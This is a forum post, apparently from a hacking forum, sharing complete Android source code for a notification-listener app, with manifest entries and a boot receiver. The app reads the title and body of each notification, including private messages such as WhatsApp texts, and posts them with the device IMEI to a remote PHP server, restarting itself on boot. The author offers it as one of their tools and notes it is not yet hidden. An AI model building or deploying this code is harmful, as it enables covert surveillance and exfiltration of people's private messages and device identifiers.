Well here is an application in android that listens to notifications and send them to a database on your own server.
it can read both the body and the title of the notification, so if someone sends you something on whatsapp while you are outside the conversation, the app will read it and send it to a database.
In this source i didn't make it a hidden service nor a secure communication for it not to be exploited, you will have do a little coding, you are welcome to do whatever you want with it. It's a part of the tools i develop.
pub.java ---- this is the actual listener, edit the url string to wherever your nn.php is
BootReceiver.java ------ this will receive a boot command to run the service after boot
add those permissions and service and receiver in your manifest
nn.php -------- this is the file you put on your webserver to parse the data pushed by you droid, change the hostname,username,password and dbname accordingly
change the table name in the sql query and don't forget to make the table in mysql that contains columns "appl,ticker,title,text,date,imei,time" or you can change them to whatever you want
because i couldn't get the [paste] tag to work and HF's firewall is screaming on php, here is the code of the nn.php https://pastebin.com/9bFaFaeF
After all of that, you should go to the notification access in your settings on the droid and enable the app
Information will always be free.
it can read both the body and the title of the notification, so if someone sends you something on whatsapp while you are outside the conversation, the app will read it and send it to a database.
In this source i didn't make it a hidden service nor a secure communication for it not to be exploited, you will have do a little coding, you are welcome to do whatever you want with it. It's a part of the tools i develop.
pub.java ---- this is the actual listener, edit the url string to wherever your nn.php is
Code
import android.content.Context;
import android.content.Intent;
import android.os.AsyncTask;
import android.os.Bundle;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.support.v4.content.LocalBroadcastManager;
import android.telephony.TelephonyManager;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.List;
public class pub extends NotificationListenerService {
String url = "http://192.168.x.x/nn.php";
Calendar calendar = Calendar.getInstance();
SimpleDateFormat dateformat = new SimpleDateFormat("yyyy / MM / dd ");
SimpleDateFormat timformat = new SimpleDateFormat("HH:mm:ss aaa");
String finaldate = dateformat.format(calendar.getTime());
String finaltime = timformat.format(calendar.getTime());
Context context;
@Override
public void onCreate() {
super.onCreate();
context = getApplicationContext();
}
@Override
public void onNotificationPosted(StatusBarNotification sbn) {
Intent received = new Intent("Msg");
String pack = sbn.getPackageName();
received.putExtra("package", pack);
String ticker = sbn.getNotification().tickerText.toString();
received.putExtra("ticker", ticker);
Bundle extras = sbn.getNotification().extras;
String title = extras.getString("android.title");
received.putExtra("title", title);
String text = extras.getCharSequence("android.text").toString();
received.putExtra("text", text);
LocalBroadcastManager.getInstance(context).sendBroadcast(received);
TelephonyManager telephonyManager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
String imeilol = telephonyManager.getDeviceId();
SendDataToServer(pack,ticker,title,text,finaldate,imeilol,finaltime);
}
public void SendDataToServer(final String pack, final String ticker,final String title,final String text,final String date,final String imeilol,final String time){
class SendPostReqAsyncTask extends AsyncTask<String, Void, String> {
@Override
protected String doInBackground(String... params) {
String packagen = pack ;
String tickerss = ticker ;
String titles = title ;
String textbody = text ;
String datedate = date ;
String imei = imeilol ;
String time1 = time ;
List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();
nameValuePairs.add(new BasicNameValuePair("pack", packagen));
nameValuePairs.add(new BasicNameValuePair("ticker", tickerss));
nameValuePairs.add(new BasicNameValuePair("title", titles));
nameValuePairs.add(new BasicNameValuePair("text", textbody));
nameValuePairs.add(new BasicNameValuePair("date", datedate));
nameValuePairs.add(new BasicNameValuePair("imeilol", imei));
nameValuePairs.add(new BasicNameValuePair("time", time1));
try {
HttpClient httpClient = new DefaultHttpClient();
HttpPost httpPost = new HttpPost(url);
httpPost.setEntity(new UrlEncodedFormEntity(nameValuePairs, "UTF-8"));
HttpResponse response = httpClient.execute(httpPost);
HttpEntity entity = response.getEntity();
} catch (ClientProtocolException e) {
} catch (IOException e) {
}
return null;
}
@Override
protected void onPostExecute(String result) {
super.onPostExecute(result);
}
}
SendPostReqAsyncTask sendPostReqAsyncTask = new SendPostReqAsyncTask();
sendPostReqAsyncTask.execute(pack,ticker,title, text,date,imeilol,time);
}
@Override
public void onNotificationRemoved(StatusBarNotification sbn) {
}
}BootReceiver.java ------ this will receive a boot command to run the service after boot
Code
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootReceiver extends BroadcastReceiver{
@Override
public void onReceive(Context context, Intent intent) {
Intent j = new Intent(context, pub.class);
j.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startService(j);
}
}add those permissions and service and receiver in your manifest
Code
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<service android:name=".pub"
android:label="@string/app_name"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>
<receiver
android:name=".BootReceiver"
android:enabled="true"
android:permission="android.permission.RECEIVE_BOOT_COMPLETED" >
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</receiver>nn.php -------- this is the file you put on your webserver to parse the data pushed by you droid, change the hostname,username,password and dbname accordingly
change the table name in the sql query and don't forget to make the table in mysql that contains columns "appl,ticker,title,text,date,imei,time" or you can change them to whatever you want
because i couldn't get the [paste] tag to work and HF's firewall is screaming on php, here is the code of the nn.php https://pastebin.com/9bFaFaeF
After all of that, you should go to the notification access in your settings on the droid and enable the app
Information will always be free.


![[Image: mDF7ZCO.png]](https://i.imgur.com/mDF7ZCO.png)